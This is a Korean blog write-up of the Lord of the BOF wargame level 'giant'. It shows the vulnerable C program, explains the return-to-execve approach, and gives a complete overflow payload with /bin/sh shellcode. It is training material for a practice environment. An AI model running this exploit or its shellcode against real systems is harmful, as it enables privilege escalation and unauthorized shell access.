[LOB] bugbear -> giant

2018. 4. 2. 17:37
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    FILE *fp;
    char *lib_addr, *execve_offset, *execve_addr;
    char *ret;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // gain address of execve
    fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'""r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "(%x)"&lib_addr);
    fclose(fp);
 
    fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'""r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "%x"&execve_offset);
    fclose(fp);
 
    execve_addr = lib_addr + (int)execve_offset;
    // end
 
    memcpy(&ret, &(argv[1][44]), 4);
    if(ret != execve_addr)
    {
        printf("You must use execve!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


시작


소스코드를 보니 ret를 execve의 주소로 하지않으면 exit하는 것을 볼 수있다.

execve의 주소를 쓰면 될 것 같다.



execve의 주소를 gdb를 통해 구했다.



그러나 주소값을 execve로 해주었는데도 안된다..

게다가 ldd가 /home/giant/assassin에 접근을 못해서 제대로된 execve값을 못구한것 같다.


왜 그런가했더니... tmp2폴더에 giant들을 복사해와 사용해서였다.


원본 파일을 실행해서 입력해보면 정상적으로 되는것을 볼 수있다. 

(왜냐하면 원본파일에는 setuid가 걸려있어 giant권한으로 giant폴더에 접근할 수 있다.)



참고로 \x0a의 값이 줄바꿈문자값(엔터)이라서 ``문을 한번 ""안에 넣어줘야한다. 안그러면 중간에 끓겨서 들어간다;


./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40")'`"


으어... execve를 이용해 쉘코드를 얻으면 좋겠지만,,, payload 구성이 귀찮아서

execve가 끝난 후 리턴되는 주소값을 쉘코드 주소값으로 하는게 더 쉬울 것같다.


그러나 원본 파일은 코어덤프를 못뜨고... gdb로 디버깅할 수 없으므로 복사된 파일로 일단 해야한다.



복사된 파일로 할 때는  /home/giant/assassin에 접근하지 못하기때문에 실제 execve 주소값과 비교하여 exit를 결정하는게 아니라 소스코드에서 구해진 execve_offset값이 비교된다.


일단 저 주소값을 ret에 넣고 argv[2]에 쉘코드를 넣어 코어덤프를 일으켰다.




0xbffff8a0 정도로 뛰어주면 될 것 같다.


A*44(buffer) + execve주소(main의ret) + 쉘코드주소(execve의ret) + 인자1(execve의) + 인자2


payload : ./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40"+"\xa0\xf8\xff\xbf")'`" `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`




'Wargame > LOB' 카테고리의 다른 글

[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01

+ Recent posts